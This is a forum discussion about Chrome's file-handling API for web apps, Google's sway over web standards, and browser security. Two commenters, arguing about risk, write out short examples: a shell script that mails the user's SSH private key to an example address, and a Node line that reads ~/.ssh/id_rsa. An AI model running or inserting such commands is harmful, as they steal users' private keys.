I don't like that they refer to web apps and browser when they actually mean Chromium apps on the web and Chromium based browsers. Reminds me of a certain embrace, extend strategy.
They write "Now that web apps are capable of reading and writing files", and link to their article about the File System Access API, which is a Chromium only API. They're trying to make it look like Chrome only apps are regular web apps, and if they doesn't work in other browsers that's on them and you should just switch to Chrome instead. They want Chrome to be thought of as the default web experience.
There are basically four votes that matter, corresponding to the four major browsers: Google (Chrome), Apple (Safari), Microsoft (Edge) and Mozilla (Firefox).
Google claims that "browsers" support an API if it's supported in Chrome and in Microsoft Edge, a Chromium-based browser.
Microsoft could have blocked File System Access, for some of the same reasons that Mozilla did, but they didn't; they elected to enable the feature.
Since Microsoft + Google together have 70% share of desktop web, and since Microsoft agrees with Google that the File System Access API is a good thing for the web, I think it's not wrong to say that "browsers" support this feature.
Now, you might say, "Microsoft shouldn't count!" but Edge's market share is bigger than Firefox, and we all agree that Mozilla's vote should count (at least as long as they can hang on to 3% market share).
Looking at the sources used on the wikipedia page[0], it seems pretty skeptical. For one, the services for collecting the data seem to be depending on tracking APIs from partnered sites. Does Firefox typically allow those through? Is it reasonable to question whether that's a reliable methodology when one of the values of the browsers is preventing such tracking in the first place?
And it shows NetMarketShare data being as current as of May 2021, despite NetMarketShare not providing data beyond Oct 2020[1]. And the last dataset of NetMarketShare has Firefox at 7%. Publicly, at least. Looking around the site it seems people may have access to the internal API, but questions about data integrity remain (now in conjunction on whether unverifiable data from an API should be used on Wikipedia).
Is there something more I and others should know about these data collectors?
As you noticed, https://netmarketshare.com/ is not a great site for browser share data. For one thing, as you point out, they stopped providing new data points in Oct 2020.
But also, for some reason, NMS automatically filters the view by "desktop/laptop."
As of Oct 2020, NMS says that Firefox's overall percentage was 3.32%, and that Edge overtook it over the course of the previous year.
GlobalStats StatsCounter says that as of May 2021, Firefox has 3.36% share, down from 4.38% the prior year. Focusing on desktop browsing, Firefox had 8.91% share last year, and has 7.36% share today.
If Firefox loses another 1.5 points of desktop market share this year (and I see no reason why they wouldn't), they'll dip below 5% desktop share; and well below 3% share when you add in mobile.
> Now, you might say, "Microsoft shouldn't count!" but Edge's market share is bigger than Firefox
That honestly surprised me, but you're right [0] - though only 0.01% (StatCounter) or 1.65% (NetMarketShare) in it, depending who you listen to.
I'm not sure about the latter, but I'd have thought 0.01% is down in the noise of misreported user agent, which FF users are probably the most likely to be doing.
Largely because they are falsely and anti-competitively claiming that Firefox is unsafe with warning text and/or pop ups if you try to install it on windows
This might be me being pessimistic but there are no web standards any more. It's Chrome standards. You can fall in line or drift into obsolescence. We never really got rid of the IE dominance on the web, we merely exchanged one boss for another. I get it it's not _quite_ the same since we don't have the ActiveX nonsense any more but it certainly feels like we're living in Google's vision of the web. Monocultures are harmful but that's we get to live with.
We are living in Google's vision of the web, but isn't that the cost of disruption? The Chrome team set out to build a better browser and even open sourced the core, Chromium. Many browsers are built on Chromium now and there is a standard for extensions on the horizon.
No one is stopping another company from disrupting Chrome and making their own vision of the web by building a better browser. It's not going to be easy, but neither was it for Google. Many new web technologies like PWAs originated with Chrome and are slowly diffused to the other browsers. Apple, on their own, would never have pushed for PWAs and even now, their support for them are lackluster.
It's a problem because Google is constantly implementing new APIs, creating new file formats that are "open-source" but de facto controlled by them, and "advancing" the web by advancing their own interests rather than the interests of consumers of the web.
There are so many web apps that fail ungracefully on Safari and Firefox that work perfectly fine on Chrome. Or apps that have significantly better performance on Chrome, including Google's own products like Gmail and Youtube. As a tech enthusiast I know that the reason is because Google makes it work that way, but for a typical user they'll likely blame the browser that is being shoved on them by their tech-literate family member and run back to Chrome because it "just works."
The only check against Google's hegemony of the web is Apple not allowing anything but webkit be the renderer on iPhones. It's the only platform that is large enough and important enough that Google doesn't have completely unfettered access to implementation of features that advance their ad-tech needs.
There's a difference between being disruptive and destructive. Google's a destructive force to the web.
> It's a problem because Google is constantly implementing new APIs, creating new file formats that are "open-source" but de facto controlled by them
But this is a critique of open source as a whole. The maintainer (or the team) will have final say and control about the product they built. If the product is extensively used, then that team will have heavy influence.
These new APIs will be used by early adopters and if they provide actual value, they should be added to the other browsers. One would think most production apps will not use Chrome only APIs until they are supported by all major browsers. But at least the ball is rolling in the right direction.
Apple and Microsoft had a chance to compete with Chrome early on but brushed it aside. When Chrome added search in the URL bar, it was innovative. When they add new APIs now, it's too much?
> But this is a critique of open source as a whole. The maintainer (or the team) will have final say and control about the product they built. If the product is extensively used, then that team will have heavy influence.
It's not, really. Yeah, maintainers of large projects have large influence over that particular project but much of open source is insulated from the real world through various abstractions, including the web.
Developers of React might have a lot of influence over how programmers approach web development but that's not something visible to end users. When Google pushes something like WebP to the web, it becomes a standard simply because it's supported by Chrome and not because of any process of standardization outside of Google. Safari only just added support for WebP last year but if a website used WebP without a fallback to jpeg/png then the website becomes functionally worse and is visibly broken to consumers.
> These new APIs will be used by early adopters and if they provide actual value, they should be added to the other browsers. One would think most production apps will not use Chrome only APIs until they are supported by all major browsers.
There are many many cases online of websites that simply do not function at all correctly on Safari and/or Firefox because they do use chrome-only APIs or they only test their web apps on Chrome. There are large corporations whose web apps (like their online shops) don't even work correctly on iOS' browsers. One would think, but reality doesn't match your expectations.
> Apple and Microsoft had a chance to compete with Chrome early on but brushed it aside. When Chrome added search in the URL bar, it was innovative. When they add new APIs now, it's too much?
Improvements made to user chrome has no implications on the web as a whole. Adding search to the address bar doesn't make Youtube or Gmail function worse on other web browsers.
I think it's important that browsers are able to improve the web. I'm not against the idea of Google proposing adding new functionality through new APIs. The problem is that they can do that without any oversight from anyone else. They create a new technology that is controlled by them and introduce it to the web where they already have massive influence (#1 search, #1 video website, #1 email, etc) and expect everyone else to simply fall in line. Companies like Mozilla don't have any recourse here. No single company should have that much influence over the web.
Yet here we are where one company has control over some of the biggest websites on the web while having influence over how visible any other website is due to being the biggest search engine on the web while also controlling the browser that everyone is using while also controlling the operating system that is the most used in the world all while being a company that their primary business is harvesting people's information to serve targeted advertisements.
> The Chrome team set out to build a better browser and even open sourced the core, Chromium.
I think that rewrites history a bit. They started with a Free Software browser - Konqueror/KHTML - and were required to release changes under a compatible license.
We should be thankful that Konqueror/KHTML was released under a Free Software license, rather than a permissive open source license that would have allowed Google to deny us the rights that they had been granted by their upstream.
> We should be thankful that Konqueror/KHTML was released under a Free Software license, rather than a permissive open source license
Your wording suggests that permissive licenses are not “Free Software” licenses, which is incorrect. Even the FSF acknowledges that permissive licenses like BSD, ISC, MIT, and Apache are free.
It was a fork - so what Google started with was not actually KHTML and the amount of work done after the fork before Google started using it was much greater than that done before.
> No one is stopping another company from disrupting Chrome and making their own vision of the web by building a better browser.
It's is almost impossible for anyone to create a new browser. Even for a corporation with near-unlimited resources it would be a daunting task. Hell, Microsoft gave up, and they are definitely not short on resources.
At the time of this writing Chrome ships 7600 web apis [1]. Firefox and Safari ship 6500 and 6300 respectively. Chrome will happily ram its own internal APIs through standards committees with nothing but a lip-service to the other implementors because this only assures Chrome's dominance. This also assures that no other browser will ever appear.
> Many new web technologies like PWAs originated with Chrome. Apple, on their own, would never have pushed for PWAs and even now, their support for them are lackluster.
Ah yes. The bad-bad Apple. How can Apple not be bad when we have the great saviour of the web, the Saint Disruptor Chrome.
Meanwhile, both Apple and Mozilla are increasingly on the same side with regards to the non-standards that Chrome rams through: they are vocally opposed.
And yet, Chrome will have you believe that these standards are not only there, but that they are complete (so many of them are just drafts that have been cobbled together by some googlers), and that they are immediately available and can be used (they can only be used in Chrome).
I do get your point, Chrome is launching new APIs faster than the other guys can catch up. My issue is that the others guys had a lot of time to create the APIs Chrome is creating now and has created. When Chrome was focused on making the web better, these guys were working on making it more restrictive.
These seem like useful APIs. Mozilla seems against these due to security risk, but then why not work on a protocol that is safe? Bringing NFC, USB, and Bluetooth to the web is important in my opinion. Apple still doesn't let you connect a bluetooth device via WebKit, but guess what? You can pay to install a browser on the App Store that does.
Nothing is going to be perfect at the beginning but if Mozilla is so against it, the best response is a better product.
> When Chrome was focused on making the web better, these guys were working on making it more restrictive.
What the hell are you talking about? Safari and Firefox were building a better web long before Chrome even came onto the scene.
Safari precedes Chrome by 5 years.
Firefox precedes Chrome by 6 years.
They were both making the web better when IE6 held something like 99% of the market.
> Mozilla seems against these due to security risk, but then why not work on a protocol that is safe?
What the hell are you talking about? You want Mozilla to implement a new safe protocol to replace USB?
> but if Mozilla is so against it, the best response is a better product.
Yes, and both Mozilla and Safari are against WebUSB for one simple reason: they want a better product that doesn't compromise user security. But sure, why they don't just build one, right?
Chrome doesn't care and ships it anyway, and for some reason you're saying it's Google who are building a better product. No. They are building a product that's better for Google, first and foremost, and everyone else (including security, privacy, long-term health and sustainability of the web) be damned.
I think Apple was first with progressive web apps (PWA) as in web apps that could be installed to the "home screen". iPhone was meant to only run these web apps. Then Apple made a 360 in favor of "native" apps in order to get more performance.
Also FirefoxOS was and still lives on (KaiOS) using web apps.
It is actually sad that other browsers are not going ahead supporting this API. The authors of this spec are really trying hard that other browsers also move forward with this API, but the maintainers of the other browsers confusingly think this is a threat to the web ecosystem.
Note that PWA is a concept, not a specific set of features or APIs. This makes a lot of this discussion confusing and mostly meaningless. Furthermore this bug is about a browser feature. The similar "PWA" API here would be https://developer.mozilla.org/en-US/docs/Web/Manifest/displa... which is supported by Firefox for Android so it isn't like Firefox won't support "PWA" as a whole and will reject all of the related APIs.
And remember that PWA is Progressive Web Application. The P is from Progressive Enhancement[1]. This means that missing an API or two doesn't mean that your browser doesn't support PWAs. It just means that some PWAs will have less functions or give a less "app-like" experience.
- I'm already tired of constant browser native pop-ups asking for access to things. This is just asking for the same treatment: "The site memes.example.com wants to be able to open .gif files. [Allow] [Deny]"
- Does this mean all that extra javascript gets access to the file? This isn't an anti-javascript rant, but your average 3rd-party site is loading code from all over the web and it's impossible to expect users to understand the implications of "open nopebaby.gif with ...". I mean, the OS is making it easy, so it must be safe!
Having a thick interface between your files and websites is a feature, not a bug.
The web is already ridiculously feature-bloated. The scope of it is reckless. The madness of adding new features to a browser for every little use case needs to end.
There's so many shrill voices insisting the web remain in some tight small box, unthreatening to all other interests.
This bent of radical conservatism against online platforms is really dismaying to me. The web has, my whole life, gotten better & better. Oh yes, there are ads & big companies. But it keeps getting richer and more powerful, we keep finding new exciting uses, we keep being more creative & empowered from the web, & it's ease & connectivity & rich capabilities. And wow, there are so many angry men, really upset pissed off vocal folk, that can't stand that the web has gotten better. That see: oh there are ads, so I need to hate the web, I need to hate the web's growth.
I just find it incredibly incredibly sad. The web should continue to grow and thrive. But there is such a loud angry mob of people who really really really really really really really hate that idea. There's no reason, no kindness to negotiate or mediate with them. They are just so so angry & so against the web's growth. I for one can not imagine having such a limited horizon, such limited vision, such deep rooted desire to choke off any medium.
Your comment ostensibly decries closed minded folks who want to hold back then web, but after reading it I’m simply left thinking that it’s you that is unreasonable and angry. There is no room for discussion under your words. You caricature the people who disagree with you as “angry men” and strawman their arguments in poor faith to being “angry…that the web has gotten better”. Quite frankly, this is a bad comment and it does not reflect well on you or the position you hold.
Thank you, saagarjha, for pointing this out. There is a huge difference in having your argument criticized (possibly even dissected and dismembered, if necessary!) and what has been said here.
As someone being responded to, I'm frankly rather disturbed. It'd be pure weasel-words to say "Oh, I was talking in general and didn't mean this about anyone specifically". Consider the word structure alone:
You and people like you
shrill voices, tight small box, radical conservatism ... pissed off vocal folk, can't stand / gotten better, hate, hate, angry mob, really*7 hate, no reason, no kindness, angry, limited horizon, limited vision, deep rooted desire to choke
Me and the web
gotten better & better, richer, powerful, exciting, creative, empowered, easy, rich, incredibly*2 sad, grow and thrive
My real concern is that rektide isn't sitting in a chair deliberately attacking people, but trying to make a passionate plea in favor of something they love. I respect that and fundamentally agree with your general premise. But what incredible venom to toss into people's face and either have no clue or not care.
my defensive of something I love, which gas grown & flourished, & which is now being assaulted by a preconception that it must fit some other smaller view is venom to you? I'm not sure that I can see how better to do this non violently while still advocating the truth of this situation. suggestions welcome.
I could definitely tone it down, try to pad my defense for your sake. I feel enormous commitment to this though, and even acting a fool, arguing ineffectively, feels necessary given the despair of this strident assault the one open growing standards based medium that the world has been suffering lately. that you feel bad weighs against a very very real damage actively & ongoingly being done by this vocal anti web reactionary movement.
This hasn't been a defense. You've not offered a single criticism, alternative perspective, or insight about whether web applications should be file handlers and what doing (or not doing that) means for the web as a whole. You aren't arguing ineffectively -- you're not even arguing. If suggestions really are welcome, I suggest you argue, but I have a feeling where this goes: the "other side" doesn't have ideas worth legitimizing through discussion and it's already been exhausting enough.
This is nothing but verbal abusive about people you associate with an idea you hate because they offered criticism against a specific idea around how the web and browser might change.
And you're ready to be violent about it?
Are we really talking about a potential web browser improvement here?
> The web is already ridiculously feature-bloated. The scope of it is reckless. The madness of adding new features to a browser for every little use case needs to end.
This is what I was replying to. There's no arguments here either. This is emotional manipulation against a growable web. It's zeal & negative energy, concentrated.
> Having a thick interface between your files and websites is a feature, not a bug.
This is you mr-wendel. This is what I am arguing is wrong. I see no arguments to argue with. I just see bias and negativity. You wanted to define the web as a small narrow thing. You made no assertions no arguments. But such anger, such negative energy feels enormously trendy & popular recently.
This popup style exists in every browser (The site memes.example.com wants show you notifications), so how is it any more noisy if we allow other things to also prompt you for confirmation. To put it in other words, this will have no effect on the popup/prompt noisiness that you hate.
Also FYI, these prompts are only shown when a user interacts with the website.
Firefox cannot meaningfully stand up to Chrome's dominance with ~5% market share and dev layoffs. The iDevices and their locked in Webkit engine is all that forces Google to at least propose web standard drafts and keep up even the appearance of interoperability.
As a Firefox user, I'm not completely surprised. There are multiple video call applications I tried to use that didn't work on Firefox (on Linux at least). I personally have Chrome installed for the sole purpose of resolving those situations and go right back to FF. I'm scared though for FireFox, because they aren't doing too hot. I don't want a Google dominated web. Having the only two real web competitors be Apple and Google is a terrifying idea. Hell, it doesn't event have to be FireFox, I just want some more competition, but browsers are so complex at this point that I don't think we can ever get to that point.
I hear you, I've been working on peercalls.com, a video conferencing app, for the past few years and it works on all major browsers and platforms, including Firefox.
That said, I'm bummed out that E2EE using insertable streams / SFrame transform is only currently supported in Chrome.
I've also noticed that very few devs in the WebRTC community actually test stuff in Firefox.
Mozilla making a big song and dance out of resolving 14 year old issues like non-native context menus really rubbed me the wrong way and I uninstalled Firefox.
To quote and paraphrase Rich Harris, creator of Svelte [1]:
=== quote and paraphrase ===
What is missing is signals from other browser implementors. Until this info is included prominently at the top of every web.dev article, it will be seen as biased and uninformative. when you say "you can do this today", you're knowingly encouraging people to build chrome sites instead of websites!
These are often just drafts created and authored by Googlers, and nothing in the web.dev articles even mentions that.
web.dev presents itself (through its domain name, inconspicuous Google branding, etc) as a neutral resource for web developers. It's not. By not making its Chrome-centric nature clear, you're actively making it harder for web developers to get good, unbiased info.
=== end quote and paraphrase ===
For example, the article claims that "web apps are capable of reading and writing files". No, they are not.
It's sort of charitable to say that there's "no signal" from either Safari or Firefox on File System APIs [2] and on File Handling APIs [3]. However, web.dev presents this as fait accompli and expect droves of "omg Safari stifles innovation on the web" on HN.
Whereas it's Google ramming incomplete drafts of Chrome-only internal APIs through standards bodies and enabling them by default in Chrome.
> It's sort of charitable to say that there's "no signal" from either Safari or Firefox on File System APIs
I agree the phrase "no signal" does not accurately communicate other browser vendors' position.
Mozilla's current position on File System API is "defer".
> The ability to read and write from the filesystem is potentially very dangerous. We will need to carefully consider any solution in light of the security and privacy implications.
> We recognize that the spec authors take this issue seriously, but we are concerned that any solution will increase the risk of security incidents more than we are willing to tolerate. Right now, there isn't enough detail in the specification to make an assessment of these risks, so we will defer our decision until we have more information.
Webapps can load and save files by explicitly prompting the user. This works in every browser. Random file or directory access is not provided for by existing standards, but simple load and save are enough for many use cases.
Oh great, another API that dodgy sites will try to trick users into giving access to (see also every "do you want notifications from this site?" popup)
First thing I do with my Chrome is opening Settings/Site Settigs, Additional Permissions and blocking almost everything in this list. There's surprising number of APIs that I'll never need (MIDI devices? I have no idea what MIDI device is and I definitely don't own one. Payment handlers? I'm using cash, thanks. Augmented reality? I'm fine with ordinary one, thanks.).
MIDI devices mostly refer to musical controllers. With it, you can plug a controller and play piano on https://pianu.com, for example. I use it sometimes.
I wish desktop browsers had domain handling. I'd like to open youtube links by default in Freetube, or somesuch. On my phone, I can configure this, on the desktop, I cannot.
I think what brnt means is that he wants some links to open in an entirely different app and not in a browser. I don't see how phishing is applicable in this case. In fact it may be a good measure against it since you quickly see that it does not open in your usual app
I think mankyd knew that. I'm thinking the exploit would be installing a bad app that enforces redirects for mybank.com, youbank.com, usabank.com, ukbank.com, allbanks.com to their malicious app. Then the app just knows how to pretend to be the login screen for all these apps and bam you get a whole ton of passwords. The key thing would be for the app not to show the url of their malicious site.
Phones already do this though, don't they? I think Android at least allows redirecting links to apps, and I'm pretty sure Mac does as well.
Is there a bigger threat model people are worried about with extending the app schema to include normal URLs as well? Or do you just think the problem would be worse if the scope was broader?
Trying to figure out where people are drawing the line on this.
On iOS and macOS (I can't speak to Android but I'm fairly sure it's a similar mechanism), you're required to prove that a domain and app are linked before allowing URLs to open in your app. You do this by hosting a JSON file on your website that points to your app and specifies which kind of URLs should be redirected. E.g. see https://apple.com/.well-known/apple-app-site-association for how Apple.com does it.
This prevents malicious third-parties from opening bank.com in their own app, but of course it also prevents useful things like using a custom YouTube app.
Hrm. Mac computers allow this with Slack. The installed version can intercept links to messages in the browser and open them in the app instead of the website. So I don't think it's just phones doing this today.
And I guess Slack is signed on Mac via Gatekeeper, but it's not distributed through an app store.
I don't run Windows and I won't install Slack natively on my Linux boxes, so I can't check the other platforms. But I would be a little surprised if the same doesn't work on them. This is basically how mailto links work today, right?
On Linux, Slack installs a custom protocol handler, and includes a hidden iframe with the slack://RANDOMSTRING/magic-login/LONGRANDOMSTRING URL. I assume it's the same on Mac.
In this case mailto:// doesn't try to impersonate any app, but if it were to be done (for example) "skype://" I could install another app that overrides the current app protocol, and mislead the user and catch privileged data intended for the original app.
But of course, technically it's the exact same thing, it's just a layer above. So you have a point.
> In fact it may be a good measure against it since you quickly see that it does not open in your usual app
There's nothing preventing a bad actor from copying the existing banking app and attaching a backdoor, assuming local code execution capability - either re-sign it with a local codesign certificate or use runtime code injection/linker overrides.
A web app has always the URL bar and the banking site can rely on HSTS to prevent man-in-the-middle attacks.
We're halfway there with the URL Protocol handler part in Web Application manifest specification (that currently only supports protocols, not websites).
Not sure if anyone else is seeing the push here to move more of the OSI (whatever, sue me) stack over to the app layer.
Latest two that come to mind is DoH integrations in the browser and app specific file handling.
Of course, the question is "well why?" needs to be asked. The (non)conspiratorial answer to this is "because Chrome wants more control." We're way past the era where a web browser was just something that handles just the DOM.
Chrome kernel users when? What about Chrome kernel modules? Where do you draw the line?
First, we had centralized time-sharing systems, which gave way to decentralized applications running on PCs. Back to centralization with early web applications, and now back to decentralized apps running in the browser.
Web apps are centralized. They almost never work without a constant link to the server. The browser is basically the 21st century equivalent of the VT terminal.
People don't understand decentralization and I think that people don't want decentralization.
Just look at GIT its killer feature is decentralization, bad luck because Linus Torvalds and bunch of kernel developers are using it in such way. Rest of the world is using Github\Gitlab making their own centralized repositories.
Users largely don't care whether something is decentralized or not. They care if it works. It's proven easier to deliver things that work well using centralized systems. This if for entirely pragmatic engineering reasons like the difficulty of distributed consensus.
centralized time-sharing -> decentralized applications -> centralization with web applications (or cloud)
Like next model would be coming from previous one or somehow created by some architect and like one or the other would be superior.
There is no such causal relationship, each model was or is best for its time and technical possibilities. If it would be possible to have decentralized applications running on PCs in 1950 people would do that right away.
Centralized time-sharing systems were necessity because computers were freaking huge and slow, remember that people did not have network connection to mainframe, they had terminals that were scarce and rather close to huge boxes that were mainframes.
Decentralized applications running on PCs were necessity because we there was no ubiquitous networking in the 80's-90's, while computers got small enough that basically everyone could have computing possibilities at his desk, not just dumb terminal. There were still quite some mainframes around because they were more convenient for huge calculations than whatever was possible on the desktop.
Nowadays or since 2000's we have really capable machines on desktop and internet started to grow to enable centralization that people want. Not like centralization that was necessity. I can do my calculations or a lot of work done on my desktop but I can easily share that work with someone on the other side of globe and thanks to centralization I don't have to wake him up but he can check his email when he finishes his morning coffee.
So it is not back or forth, those are totally different modes of computing enabled by different possibilities that we have because of technology changes.
Web "applications" better have security in mind. For the end user running arbitrary JS with even more bare metal abilities it is just about as crazy as executing every attachment you receive in email.
Here's an email attachment that compromises your SSH private key:
#!/bin/sh
mail geofft@example.com < ~/.ssh/id_rsa
(With obvious changes for other OSes, but that's roughly the complexity of it, everywhere.)
Can you provide an example of "arbitrary JS with even more bare metal abilities" that can do the same thing? I'll even visit your website, with JavaScript enabled, on my laptop with a private key that can access GitHub.
Here's a web app that compromises your SSH private key: use the discord client in chromium.
Their electron client is literally a remote administration toolkit, it has full access to FS (electron app) and it loads every script from their servers. On launch the desktop client opens websocket server for command and control listening.
They can just add something like require('fs').readFileSync(process.env.HOME + '/.ssh/id_rsa').toString() and send this to their servers, and you won't even notice that (since it doesn't require an update on client because the client is just a browser with full permissions that loads obfuscated code from their servers every time you launch it).
Electron is basically a framework for native apps, they're only "web" apps in architecture and language choice. They have all of the same permissions as native apps and basically zero sandboxing. They're frequently extended using low-level code. They can call out to system libraries.
For the scope of the current conversation, Electron apps can already be file handlers on every single desktop platform, so we're pretty clearly not talking about Electron when we critique these new web standards. Electron doesn't care about your opinion of web standards or what is or isn't getting fast-tracked in Chrome, Electron can already do whatever it wants.
That's not to say that Electron's lack of sandboxing isn't a problem, it absolutely is. But it's just not really relevant to what we're talking about right now, and it's a problem that almost every native app platform shares with Electron.
One of the goals with introducing newer "riskier" standards on the web is to get an application platform that does have sandboxing -- it's to be able to use Electron and other unsandboxed apps for fewer things. Whether that's a good goal I'm not going to comment on; different people have different opinions on the direction of the web as an app platform and whether it's smart for Google to be breaking all these holes in an otherwise decent sandbox. But regardless, Electron is not the web.
The Discord native client is not a web app. Any application you download can exfiltrate your private key. It's statically linked to Chromium (through Electron), but it's running native code.
You mention "Electron," but Electron is a local application. So it doesn't satisfy my request, which is that I want you to steal my SSH private key when I visit a website in a web browser.
Thought it was already possible since PDF files can be opened by modern browsers just fine. But recently tried making Google Sheets open XLS files via some 3rd party plugin, no luck.
Surprised Google didn't whip out something proprietary, since Google Docs was added 15 years ago, way before official drag and drop support too. Didn't Google Desktop allow that at some point?
Browsers themselves configure the open-PDF feature with the OS, and this is different from a website declaring "I can open .xxx files". You can't make a webapp that opens PDFs in your custom site–it opens in an internal-to-the-browser page.
Sure, but Google makes their own browser. Why they didn't have an opt-in option to open Office formats with Google Docs long time ago? That's what puzzles me.
It was previously handled via (Chrome-only) extension apis [1].
But that is deprecated in favor of regular web apps having access via a regular browser API. There is potential for it to become a web standard, if other browsers go along. It’s too early to tell.
Extensions are less secure. As we’ve seen they have too many permissions and ownership can be transferred. They were also inherently Chrome-only, though there seem to be some efforts to standardize api’s these days.
But if this new api goes through, it opens an interesting security... situation where the ownership of a web app gets transferred and it automatically updates, so now opening a file does something else.
This is true of automatic updates in general. Automatic updates are the cause of and solution to many problems.
I see a bunch of comments here showing their disdain towards chrome adding more liberal file system access.
As a web developer this is actually a positive move as it gives us the ability to make really powerful apps for the web without having to resort to wasting time in apple's walled garden.
Yes, Firefox [1] thinks this is dangerous, but the points they have put forward are half baked at best. This API is no worse than some of the existing APIs implemented by every browser and contrary to what the name might suggest, does not degrade a user's privacy or security.
> This API is no worse than some of the existing APIs implemented by every browser
That's not a terribly strong argument.
> does not degrade a users privacy or security
With proper sandboxing, I think it could be safe. Without that, then I think it's a disaster. Any time a message saying "Allow access to XXX?" most people click yes just to clear the dialog.
> Any time a message saying "Allow access to XXX?" most people click yes just to clear the dialog.
Talking about this specific API, when a user blindly clicks yes, they are then showed a file picker. This file picker interface exists in every browser and I am not aware of users blindly picking a file and uploading it without realizing what they did.
This brings me back to my point that this user interface already exists in every browser, the only difference is that this new API allows to write back to the same location.
> without having to resort to wasting time in apple's walled garden
What makes you think Safari will implement this? Like many features Google announces, this will be a Chromium-only feature for ages.
Mac users running Chrome or Edge may be valid end users for this API, but Safari and iOS users won't benefit from this if it would permit developers to skip Apple's walled garden. Apple doesn't want competitors to their app store laying all the golden apps. Safari still doesn't properly support notifications, after all, and it's not because Apple can't think of a way of implementing them.
> As a web developer this is actually a positive move as it gives us the ability to make really powerful apps for the web without having to resort to wasting time in apple's walled garden.
As an ad agency this is actually a positive move as it gives us the ability to make really powerful apps for the web without having to resort to wasting time in apple's walled garden.
This is going to be used for tracking so fast haha
Allow/deny state and feature support into fingerprinting like every other bit of information your browser provides.
On a super duper catch me out technical ability and full prototype? Can't help you. I just trust Google will find a way to be creepy. It's a pretty safe bet.
Is it too late to push the idea of "files" in today's mobile Internet world? I mean most web content are locked in walled gardens they are not copypastable nor tranferable. Not even editable in a "file" way.
No, I mean services that are not interchangeable. For example you can't really open your instagram videos on the Tiktok editor. You have many extra hoops to jump.
In old fashioned "file" way, it's just a .mpeg file.
The File object returned by FileSystemFileHandle.getFile() is only readable as long as the underlying file on disk hasn't changed. If the file on disk is modified, the File object becomes unreadable and you'll need to call getFile() again to get a new File object to read the changed data.
This seems very strange. Since when does a File stop being readable when it is modified? What does "modified" mean here anyways? Can anyone shed some light on this?
This is speculation, but it could be a consequence of not wanting to lock the entire file. Where a normal application could place locks on segments of a file, a web app perhaps can't do this through this api.
Hence you have the choice between aborting on write and possible "garbage files" (i.e. partly overwritten) if you keep reading.
I am currently performing file handling in my personal app cross browser. I have some limitations though in that my approach sends a signal to a node app that tells the OS to execute the file according to the default app for that file type. I could allow users to determine what files to associate with what applications but I have not written that.
I read the title and for a moment I got excited and thought, that's a good idea, what if using a website was like using a program that operates on a file with all my data in there and next time I want to use the site I need to open my file before I can do anything.
Google and the other cloud companies' strategy is mostly all the same: they want to charge rent on every computer application possible. What has started to change in popular perception is the image of the cloud providers having all of your data. Why should they have all of my data? A reasonable reaction to the status quo of cloud applications.
This is just as nefarious as a traditional SAAS application, if not more so. Google is setting up a system whereby you can have the data on your own machine, but the actual logic of how to interpret the data is still loaded off of a server on-demand, with the end goal being that they can charge you rent to access files on your own device. Pretty cool for them, but seems like a raw deal for the end-user.
The "free as in beer" software movement normalized the idea that locally run software should all be free, so the center of new software development moved to a cloud-first model. The cloud is the only DRM that works, so cloud software can never be pirated either.
"We need to liberate ourselves from closed-source software!"
Result: the software moves where it can't be liberated.
It's not some big conspiracy. It's like how a plant grows toward the sun. It's that software is very labor intensive to produce and there must be an economic model. If there's no economic model in one place, it goes somewhere else where there is.
If we want computing to be open, free, and user-centric (rather than user-exploiting), we have to restructure the industry so that that's where the money is.
The file doesn't need to be uploaded for it to be edited within a web app – everything can be 100% local, including saving editor state (through local-storage).
The only network access absolutely necessary is downloading the web app code initially but after first load it's possible for a web app to work offline
No, as I understand it the file is local and the JavaScript is also running locally in a browser sandbox. Also, the file is accessed in the usual way by opening it and reading from it. (There is a File System Access API that lets you get a FileSystemFileHandle and do random access.)
You could write an uploader that sends the file over the network, or handle it entirely locally.
Nope. The file data is open within the browser context, and from there the app can decide what to do with it - which may entail uploading it, but doesn't need to be. The same way you can open a file in photopea.com without uploading it to their servers.
While `wasm-exec-webapp` isn't a real thing, if it's sandboxed as it would be, there'd be no difference, security wise, between that and going to a webpage in your browser
This is kind of meta, but what exactly is this site? Roaming around, it appears to be a bunch of blog posts written by the Chromium/Google team (except for one article I found which was written by a developer for The Telegraph). It's not exactly hiding it's association, I mean it's right there in the footer, but why isn't this under some kind of chromium or google url so the association is immediately obvious, or at least mentioned in the About page?
At the risk of sounding conspiratorial, it feels like they're trying to hide in plain sight, pushing Chrome only features while constantly just saying "mordern web", and while they pay passing mention that the API is "currently in development" it doesn't add the fact it is not standardised, and it likely won't be coming to Firefox at all, as they consider it harmful: https://github.com/mozilla/standards-positions/issues/154#is...
Yup, Google using its powerful position to make it seem like the generic owner of things when it is not. See also the sites: doc.new, docs.new, document.new, sheet.new, sheets.new, spreadsheet.new, slide.new, slides.new, deck.new, presentation.new, form.new, forms.new, site.new, sites.new, website.new, and probably others.
Sure, but since Google owns .new, they had first dibs on grabbing every generic document type they could possibly want. Sure, Microsoft can grab word.new, but doc.new is Google's regardless of what you use to write documents.
The question is what Google should do if they need a new web API badly enough to implement it.
Making it clear that it’s Chrome only (for now) would be good and they should do that more prominently. Making it possible for other browsers to implement by designing it with standardization in mind also seems good? (Unlike the situation with web extensions.) Lock-in is bad, Chrome-only websites are bad, so they should be trying to standardize things and avoid using it as a point of differentiation between browsers.
Not speaking for other browser vendors is also good. Like, it’s all very well for us to say that Firefox seems unlikely to pick it up, but someone on the Chrome team should definitely not say that, because it jinxes the effort and Firefox might change their minds if web developers seem to want it. (The comment you link to raises security concerns but I don’t think they claim to be giving the final word about Firefox’s position.)
So we see the state of standardization a bit hidden behind euphemisms like saying that there are “no signals” from other browsers yet.
There’s also the danger of having early articles become out of date by claiming that things are Chrome-only when actually the situation has changed and the person writing the article doesn’t know about it, so there is a tendency to avoid saying too much.
The underlying assumption is that web standards evolve by browser vendors starting to implement things ahead of getting consensus. Implementation and documentation start ahead of the standardization effort, which goes on in parallel.
(And underlying that assumption is the notion that rapid adoption of more powerful web api’s is desirable and “stagnation” is bad. Safari gets a lot of grief for being too slow, while Chrome gets grief for being too fast.)
Literally mostly from Google employees just mad their pet project doesn't work on iOS. I, and plenty of others, appreciate the position Safari (and sometimes Firefox) holds in only supporting web APIs that provide value greater than the security and privacy risks they introduce.
Google's busy trying to invent ways for websites to tamper with your USB devices, and it hasn't even managed to deal with how much malware it distributes through it's extension store alone, much less through it's ad platform and misuse of the notifications API.
You might be a little biased if you think Google is trying to tamper with your USB devices.
You’re also trying to put yourself in a position of speaking for other developers, which is something we should avoid. How do we know what most developers want?
> You might be a little biased if you think Google is trying to tamper with your USB devices.
